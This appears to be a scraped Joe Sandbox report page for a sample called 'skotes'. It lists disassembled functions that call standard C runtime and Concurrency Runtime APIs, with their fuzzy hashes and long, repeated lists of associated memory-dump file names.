Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: e6b3b275affc25ed7a52dca5b6f8f6011ecd644b4c80dcb572d6ac1060a0039a
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: E931E530B083759BCF16AA7864927FF77B59F51328F0401A9D485D7282EB2449A9C3D1

Function 00134840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00134877
___except_validate_context_record.LIBVCRUNTIME ref: 0013487F
_ValidateLocalCookies.LIBCMT ref: 00134908
__IsNonwritableInCurrentImage.LIBCMT ref: 00134933
_ValidateLocalCookies.LIBCMT ref: 00134988

Strings

csm, xrefs: 0013491D

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 2392c7039a86dd800d842e0e548b95b3474a604390a5e63035e57c9ee10aa434
Instruction ID: 71481bd51959ce4e1e3c6c8d31ab16cbcb7ad05d0f0ff86e5e7480e52ef5ecd8
Opcode Fuzzy Hash: 2392c7039a86dd800d842e0e548b95b3474a604390a5e63035e57c9ee10aa434
Instruction Fuzzy Hash: 5141C634A00209EFCF10DFA8D884A9EBBB5BF49718F148195F8185B392D731EA55CB91

Function 0012DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0012DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0012DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0012DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0012DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0012DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0012DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0012DE74

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: eb25181375297d6dfa0a8e201044c29e693d42385061e8d8a31c82f589383df9
Instruction ID: 34a3fb37f312ec02a47066d131598031d9e105a9601ef58941f528ea50f604ce
Opcode Fuzzy Hash: eb25181375297d6dfa0a8e201044c29e693d42385061e8d8a31c82f589383df9
Instruction Fuzzy Hash: 9441BE30A042689BDF19FBA4F4957ECB7A16F21304F1944A9E8416F2C3DB348E68C762

Function 0012E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0012E7D7

Part of subcall function 0012E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0012E577
Part of subcall function 0012E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0012E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0012E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0012E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0012E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0012E879
Concurrency::location::_Assign.LIBCMT ref: 0012E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0012E8B5

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 5364eff6c082123391f8df2e90fa1e69a71e829374fc67bb4689bf64232c4bef
Instruction ID: e430391f42bd78667ff729ed5dba0b7a0cb6ab9d7559c1a19fe83f4cdea099f2
Opcode Fuzzy Hash: 5364eff6c082123391f8df2e90fa1e69a71e829374fc67bb4689bf64232c4bef
Instruction Fuzzy Hash: 94411835A00218EFCF05EFA4D495AADB7B5FF48310F1880A9DD499B382DB30A951CBA1

Function 00116E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00116ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00116F22
std::_Rethrow_future_exception.LIBCPMT ref: 00116F32
__Mtx_unlock.LIBCPMT ref: 00116FD5
__Mtx_unlock.LIBCPMT ref: 001170DB
__Mtx_unlock.LIBCPMT ref: 00117116

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: e90e7251339301c71b1bfa48af6f12846e6e0b94a42b8b11d96b47166f64303e
Instruction ID: 6aacfc4b7ac11e34376fd15f32aba04f37ee1bcf407008b05c94573b5826c3cd
Opcode Fuzzy Hash: e90e7251339301c71b1bfa48af6f12846e6e0b94a42b8b11d96b47166f64303e
Instruction Fuzzy Hash: EBC1E2719043059FDB28DFB4C845BEEBBF4AF15310F00457DE81697691EB72A988CBA1

Function 001244DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00124538
ListArray.LIBCONCRT ref: 0012456C
Hash.LIBCMT ref: 001245D5
Hash.LIBCMT ref: 001245E5

Part of subcall function 00129C41: std::bad_exception::bad_exception.LIBCMT ref: 00129C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0012474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001247A4

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
